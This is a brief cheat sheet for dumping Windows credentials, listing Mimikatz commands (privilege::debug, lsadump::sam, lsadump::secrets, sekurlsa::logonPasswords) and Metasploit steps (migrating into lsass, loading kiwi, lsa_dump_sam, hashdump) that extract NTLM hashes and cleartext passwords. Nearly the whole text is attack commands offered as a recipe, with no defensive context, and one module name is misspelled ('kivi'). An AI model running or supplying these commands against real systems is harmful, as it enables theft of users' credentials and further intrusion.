hash-dump-windows

Mimikatz tool

Privilege check

privilege::debug

NTLM hash dump

lsadump::sam

Clear text passwords

lsadump::secrets

Windows logon clear password save (it is disable after windows 8.1)

sekurlsa::logonPasswords

Metasploit-framework

help/? 

migrate to <lsass_PID> 

load kiwi 

lsa_dump_sam

lsa_dump_secrets

How to dump LM-NT hash

• hashdump (MSF module)

• load kivi (MSF module)